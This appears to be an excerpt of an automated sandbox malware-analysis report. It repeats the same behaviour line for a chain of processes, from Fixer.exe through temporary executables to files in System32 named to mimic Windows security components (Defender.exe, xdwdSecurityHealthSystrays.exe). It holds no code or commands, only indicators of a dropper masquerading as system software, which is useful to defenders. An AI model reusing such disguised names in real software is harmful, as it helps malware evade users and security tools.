Source: C:\Users\user\Desktop\Fixer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Fixer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Fixer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Fixer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Fixer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Fixer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Fixer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Fixer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Fixer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Fixer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Fixer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Fixer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Fixer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Fixer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Fixer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Fixer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Fixer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Fixer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Fixer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Fixer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Fixer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6z9uno0baqvej0me.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6z9uno0baqvej0me.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6z9uno0baqvej0me.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6z9uno0baqvej0me.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6z9uno0baqvej0me.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6z9uno0baqvej0me.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6z9uno0baqvej0me.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6z9uno0baqvej0me.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6z9uno0baqvej0me.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6z9uno0baqvej0me.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6z9uno0baqvej0me.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6z9uno0baqvej0me.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6z9uno0baqvej0me.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6z9uno0baqvej0me.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6z9uno0baqvej0me.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6z9uno0baqvej0me.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6z9uno0baqvej0me.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6z9uno0baqvej0me.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6z9uno0baqvej0me.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6z9uno0baqvej0me.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6z9uno0baqvej0me.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6z9uno0baqvej0me.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6z9uno0baqvej0me.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6z9uno0baqvej0me.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6z9uno0baqvej0me.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6z9uno0baqvej0me.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6z9uno0baqvej0me.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6z9uno0baqvej0me.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6z9uno0baqvej0me.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6z9uno0baqvej0me.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6z9uno0baqvej0me.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6z9uno0baqvej0me.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6z9uno0baqvej0me.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6z9uno0baqvej0me.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6z9uno0baqvej0me.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6z9uno0baqvej0me.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FixerNerest.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FixerNerest.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FixerNerest.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FixerNerest.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FixerNerest.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FixerNerest.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FixerNerest.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FixerNerest.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FixerNerest.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FixerNerest.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FixerNerest.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FixerNerest.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FixerNerest.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FixerNerest.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FixerNerest.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FixerNerest.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FixerNerest.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FixerNerest.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FixerNerest.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FixerNerest.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FixerNerest.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FixerNerest.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FixerNerest.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FixerNerest.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FixerNerest.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FixerNerest.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FixerNerest.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FixerNerest.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FixerNerest.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FixerNerest.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FixerNerest.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FixerNerest.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FixerNerest.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FixerNerest.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FixerNerest.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FixerNerest.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\Defender.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\Defender.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\Defender.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\Defender.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\Defender.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\Defender.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\Defender.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\Defender.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\Defender.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\Defender.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\Defender.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\Defender.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\Defender.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\Defender.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\Defender.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\Defender.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\Defender.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\Defender.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\Defender.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\Defender.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\Defender.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\Defender.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\Defender.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\Defender.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\Defender.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\Defender.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\Defender.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\Defender.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\Defender.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\Defender.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\Defender.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\Defender.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\Defender.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\Defender.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\Defender.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\Defender.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\Defender.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\Defender.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\Defender.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\Defender.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\Defender.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\Defender.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\Defender.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\Defender.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\Defender.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\Defender.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\Defender.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\Defender.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\Defender.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\Defender.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\Defender.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\Defender.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\Defender.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\Defender.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\Defender.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\Defender.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\Defender.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\Defender.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\Defender.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\Defender.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\Defender.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\Defender.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\Defender.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\Defender.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\Defender.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\Defender.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\Defender.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\Defender.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\Defender.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\Defender.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\Defender.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\Defender.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\Defender.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\Defender.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\Defender.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\Defender.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Process information set: NOOPENFILEERRORBOX
